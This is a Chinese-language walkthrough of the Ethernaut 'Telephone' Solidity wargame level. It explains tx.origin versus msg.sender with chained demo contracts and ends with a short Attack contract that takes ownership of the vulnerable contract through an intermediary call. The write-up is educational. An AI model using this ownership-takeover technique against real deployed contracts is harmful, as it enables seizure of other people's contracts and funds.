// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
contract Telephone {
address public owner;
constructor() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
玩家必須將 Owner 改成自己才能通關
這關很明顯是要考驗玩家是否了解 tx.origin 和 msg.sender 的差別,我來舉個例子吧,假設今天有一 user 呼叫了 contractA 的某筆交易,而這 contractA 的某筆交易會呼叫 contractB,而 contractB 會呼叫 contractC,從這個例子來看,此筆交易中,contractA 的 msg.sender 和 tx.origin 都是 user,而 contractB 的 msg.sender 是 contractA,tx.origin 是 user,contractC 的 msg.sender 則是 contractB,tx.origin 則是 user,還是不懂嗎,沒關係,來看看下面的測試碼吧。
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract origin {
address public tx_;
address public msg_;
A a;
constructor(address addr) {
a = A(addr);
}
function touch() public {
tx_ = tx.origin;
msg_ = msg.sender;
a.touch_A();
}
}
contract A {
address public tx_;
address public msg_;
B b;
constructor(address addr) {
b = B(addr);
}
function touch_A() public {
tx_ = tx.origin;
msg_ = msg.sender;
b.touch_B();
}
}
contract B {
address public tx_;
address public msg_;
C c;
constructor(address addr) {
c = C(addr);
}
function touch_B() public {
tx_ = tx.origin;
msg_ = msg.sender;
c.touch_C();
}
}
contract C {
address public tx_;
address public msg_;
function touch_C() public {
tx_ = tx.origin;
msg_ = msg.sender;
}
}
請直接把測試碼貼到 remix,然後先部署 C,再把 C 的地址放入 B 的 constructor 內來部署 B,再把 B 的地址放入 A 的 constructor 內來部署 A ,最後把 A 的地址放入 origin 內來部署 origin,部署完成後點開 origin 執行 touch
那先備知識就介紹到這邊,希望大家都能理解了,接著就進入程式碼分析環節。
因為這關的程式碼很短,所以我們直接把注意力放到 changeOwner 上吧
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
可以看到只要 tx.origin 和 msg.sender 不相同,我們就能取得 Owner 權限了,依照上述先備知識的理解,只要使用一個合約去呼叫 changeOwner 那 tx.origin 會是我們 user 本身,而 msg.sender 會是合約 address,那麼就直接來實做吧。
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
interface Telephone {
function changeOwner(address) external;
}
contract Attack {
Telephone target = Telephone( 'Your instance address' );
function hack() public {
target.changeOwner(msg.sender);
}
}
•|龴◡龴|• •|龴◡龴|• •|龴◡龴|• •|龴◡龴|•